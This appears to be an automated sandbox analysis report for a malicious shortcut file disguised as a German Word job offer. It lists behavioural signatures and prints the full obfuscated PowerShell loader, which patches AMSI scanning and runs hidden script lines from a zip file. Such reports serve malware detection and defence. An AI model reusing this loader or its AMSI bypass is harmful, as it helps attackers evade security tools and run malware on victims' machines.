Analysis
- max time kernel
298s - max time network
127s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
14/08/2026, 04:31
General
- Target Dienstangebot_T_Zapfel_27-03-26.docx.lnk
- Size 3KB
- Sample260814-e5s34avcpc
- SHA256 286345f3e1f943c46b50f63212adcbece83ac4148ddd6bdc057b5d2b878d2a73
Score
3/10
Malware Config
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Dienstangebot_T_Zapfel_27-03-26.docx.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\windows\system32\WindowsPowerShell\v1.0\Powershell.exe"C:\windows\system32\WindowsPowerShell\v1.0\Powershell.exe" $Eo=13;$WHSUt='lflAmES';$gWBqH='Dienstangebot_Zapfel_T_27-03-26';$xrjbt='AllDirectories';$IncRe='\';$WwTNF=(.('gci') env:LOCALAPPDATA).('Value')+$IncRe+$gWBqH+'.zip'+$IncRe+$gWBqH+'.zip';$oV=.('test-path') $WwTNF;if(!$oV){$WwTNF='.','Downloads','Documents','Desktop'|.('foreach-object'){(.('gci') env:USERPROFILE).('Value')+$IncRe+$_ }|.('foreach-object'){try{[IO.Directory]::('getfiles')($_,$gWBqH+'.zip',$xrjbt)}catch{}}|.('select-object') -f (14-$Eo);};if(!$WwTNF){return};$Bss='join';$o=[type]('string');$TKKHq=$o::$Bss('','Nam','e');$T=$o::$Bss('','canC','ontent$');$lvQbP=$o::$Bss('','iUt','ils$');$KqwDp=$o::$Bss('','NonPu','blic,Static');$jqo=[type]('ref');$B=$jqo.('Assembly').('GetTypes')();foreach($tR in $B) {if($tR.$TKKHq -match $lvQbP){$kXmo=$tR}};$SqQ=$kXmo.('GetMethods')($KqwDp);foreach($kx in $SqQ) {if($kx.$TKKHq -match $T){$c=$kx}};class B { static [int] A([string]$clgwV){return $clgwV[0]}};$ZE=([type]('B')).('GetMethod')('A');$frv=$o::$Bss('','Runtime.Intero','pServices.Marshal');$dOCeN=[type]($frv);$tLR=$dOCeN::('ReadIntPtr')([long]$ZE.('MethodHandle').('Value')+($Eo-5));$dOCeN::('Copy')(@($tLR),($Eo-13),[long]$c.('MethodHandle').('Value')+(21-$Eo),1);$en=[IO.File]::('ReadLines')($WwTNF)|.('where-object'){$_ -match $WHSUt}|.('select-object') -f (14-$Eo);if(!$en){return};$Bss='join';$o=[type]'string';$F='split';$U=$WHSUt.('length');$ya=$en.('substring')($U);$jF=$ya.$F('`');$Yy=$o::$Bss('',$jF);$gWBqH=(52-$Eo);$gWBqH=[char]($gWBqH);$oeHU='$l='+$gWBqH+$WwTNF+$gWBqH+';'+$Yy;$zU=[type]'scriptblock';$Bh=$zU::create($oeHU);& $Bh;Write-Host '.';2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/5244-2-0x00007FFF17CEF000-0x00007FFF17CF0000-memory.dmp
memory/5244-6-0x00007FFF17B60000-0x00007FFF18504000-memory.dmp
memory/5244-5-0x00000201BC680000-0x00000201BC6A2000-memory.dmp
memory/5244-7-0x00007FFF17B60000-0x00007FFF18504000-memory.dmp
memory/5244-8-0x00007FFF17B60000-0x00007FFF18504000-memory.dmp
memory/5244-9-0x00007FFF17B60000-0x00007FFF18504000-memory.dmp
memory/5244-10-0x00007FFF17B60000-0x00007FFF18504000-memory.dmp
memory/5244-11-0x00007FFF17B60000-0x00007FFF18504000-memory.dmp
memory/5244-13-0x00007FFF17B60000-0x00007FFF18504000-memory.dmp